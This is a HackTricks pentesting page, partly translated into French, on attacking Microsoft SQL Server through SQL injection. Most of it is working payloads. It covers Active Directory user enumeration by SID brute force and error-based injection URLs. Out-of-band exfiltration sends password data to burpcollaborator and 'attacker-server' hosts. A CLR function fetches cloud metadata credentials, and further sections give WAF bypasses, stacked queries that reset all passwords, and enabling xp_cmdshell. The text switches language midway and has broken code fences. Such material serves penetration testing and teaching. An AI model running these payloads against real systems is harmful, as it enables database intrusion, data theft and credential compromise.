hacktricks/pentesting-web/sql-injection/mssql-injection.md

15 KiB

Injection MSSQL

{% hint style="success" %} Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks
{% endhint %}

Énumération Active Directory

Il peut être possible de énumérer les utilisateurs de domaine via une injection SQL à l'intérieur d'un serveur MSSQL en utilisant les fonctions MSSQL suivantes :

  • SELECT DEFAULT_DOMAIN() : Obtenir le nom de domaine actuel.
  • master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator')) : Si vous connaissez le nom du domaine (DOMAIN dans cet exemple), cette fonction renverra le SID de l'utilisateur Administrator au format hexadécimal. Cela ressemblera à 0x01050000000[...]0000f401, notez comment les derniers 4 octets sont le nombre 500 au format big endian, qui est le ID commun de l'utilisateur administrateur.
    Cette fonction vous permettra de connaître l'ID du domaine (tous les octets sauf les 4 derniers).
  • SUSER_SNAME(0x01050000000[...]0000e803) : Cette fonction renverra le nom d'utilisateur de l'ID indiqué (le cas échéant), dans ce cas 0000e803 en big endian == 1000 (généralement, c'est l'ID du premier utilisateur régulier créé). Ensuite, vous pouvez imaginer que vous pouvez brute-forcer les ID d'utilisateur de 1000 à 2000 et probablement obtenir tous les noms d'utilisateur des utilisateurs du domaine. Par exemple, en utilisant une fonction comme celle-ci :
def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000

Vecteurs alternatifs basés sur les erreurs

Les injections SQL basées sur les erreurs ressemblent généralement à des constructions telles que +AND+1=@@version-- et des variantes basées sur l'opérateur «OR». Les requêtes contenant de telles expressions sont généralement bloquées par les WAF. Comme contournement, concaténez une chaîne en utilisant le caractère %2b avec le résultat d'appels de fonctions spécifiques qui déclenchent une erreur de conversion de type de données sur les données recherchées.

Quelques exemples de telles fonctions :

  • SUSER_NAME()
  • USER_NAME()
  • PERMISSIONS()
  • DB_NAME()
  • FILE_NAME()
  • TYPE_NAME()
  • COL_NAME()

Exemple d'utilisation de la fonction USER_NAME():

https://vuln.app/getItem?id=1'%2buser_name(@@version)--

SSRF

Ces astuces SSRF ont été prises ici

fn_xe_file_target_read_file

Cela nécessite la permission VIEW SERVER STATE sur le serveur.

https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';

fn_get_audit_file

Il nécessite la permission CONTROL SERVER.

https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';

fn_trace_gettabe

Il nécessite la permission CONTROL SERVER.

https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';

xp_dirtree, xp_fileexists, xp_subdirs

Les procédures stockées comme xp_dirtree, bien qu'elles ne soient pas officiellement documentées par Microsoft, ont été décrites par d'autres en ligne en raison de leur utilité dans les opérations réseau au sein de MSSQL. Ces procédures sont souvent utilisées dans l'exfiltration de données Out of Band, comme le montrent divers exemples et articles.

La procédure stockée xp_dirtree, par exemple, est utilisée pour effectuer des requêtes réseau, mais elle est limitée au port TCP 445. Le numéro de port n'est pas modifiable, mais il permet de lire à partir de partages réseau. L'utilisation est démontrée dans le script SQL ci-dessous :

DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');

Il est à noter que cette méthode pourrait ne pas fonctionner sur toutes les configurations système, comme sur Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64) fonctionnant sur un Windows Server 2016 Datacenter avec les paramètres par défaut.

De plus, il existe des procédures stockées alternatives comme master..xp_fileexist et xp_subdirs qui peuvent obtenir des résultats similaires. Des détails supplémentaires sur xp_fileexist peuvent être trouvés dans cet article TechNet.

xp_cmdshell

Évidemment, vous pourriez également utiliser xp_cmdshell pour exécuter quelque chose qui déclenche un SSRF. Pour plus d'infos, lisez la section pertinente sur la page :

{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %} pentesting-mssql-microsoft-sql-server {% endcontent-ref %}

MSSQL User Defined Function - SQLHttp

Créer une UDF CLR (User Defined Function du Common Language Runtime), qui est un code rédigé dans n'importe quel langage .NET et compilé en une DLL, à charger dans MSSQL pour exécuter des fonctions personnalisées, est un processus qui nécessite un accès dbo. Cela signifie qu'il est généralement réalisable uniquement lorsque la connexion à la base de données est effectuée en tant que sa ou avec un rôle Administrateur.

Un projet Visual Studio et des instructions d'installation sont fournis dans ce dépôt Github pour faciliter le chargement du binaire dans MSSQL en tant qu'assemblage CLR, permettant ainsi l'exécution de requêtes HTTP GET depuis MSSQL.

Le cœur de cette fonctionnalité est encapsulé dans le fichier http.cs, qui utilise la classe WebClient pour exécuter une requête GET et récupérer le contenu comme illustré ci-dessous :

using System.Data.SqlTypes;
using System.Net;

public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString(html);
}
}

Avant d'exécuter la commande SQL CREATE ASSEMBLY, il est conseillé d'exécuter le snippet SQL suivant pour ajouter le hachage SHA512 de l'assemblage à la liste des assemblages de confiance du serveur (visible via select * from sys.trusted_assemblies;):

EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';

Après avoir ajouté l'assemblage avec succès et créé la fonction, le code SQL suivant peut être utilisé pour effectuer des requêtes HTTP :

DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);

Exploitation Rapide : Récupération du Contenu Complet d'une Table en Une Seule Requête

Truc d'ici.

Une méthode concise pour extraire le contenu complet d'une table en une seule requête consiste à utiliser la clause FOR JSON. Cette approche est plus succincte que l'utilisation de la clause FOR XML, qui nécessite un mode spécifique comme "raw". La clause FOR JSON est préférée pour sa brièveté.

Voici comment récupérer le schéma, les tables et les colonnes de la base de données actuelle :

https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done:

```sql
https://vuln.app/getItem?id=1'+et+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--

Retrieving the Current Query

Trick from here.

For users granted the VIEW SERVER STATE permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text:

https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null

To check if you have the VIEW SERVER STATE permission, the following query can be used:

SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';

Little tricks for WAF bypasses

Tricks also from here

Non-standard whitespace characters: %C2%85 или %C2%A0:

https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--

Scientific (0e) and hex (0x) notation for obfuscating UNION:

https://vuln.app/getItem?id=0eunion+select+null,@@version,null--

https://vuln.app/getItem?id=0xunion+select+null,@@version,null--

A period instead of a whitespace between FROM and a column name:

https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--

\N separator between SELECT and a throwaway column:

https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--

WAF Bypass with unorthodox stacked queries

According to this blog post it's possible to stack queries in MSSQL without using ";":

SELECT 'a' SELECT 'b'

So for example, multiple queries such as:

```sql
use [tempdb]
create table [test] ([id] int)
insert [test] values(1)
select [id] from [test]
drop table[test]

Can be reduced to:

```sql
use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]

Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example:

# Ajouter un exec() inutile à la fin et faire croire au WAF que ce n'est pas une requête valide
admina'union select 1,'admin','testtest123'exec('select 1')--
## Cela sera :
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--'

# Utiliser des requêtes étrangement construites
admin'exec('update[users]set[password]=''a''')--
## Cela sera :
SELECT id, username, password FROM users WHERE username = 'admin'
exec('update[users]set[password]=''a''')--'

# Ou activer xp_cmdshell
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
## Cela sera
select * from users where username = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--

References

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}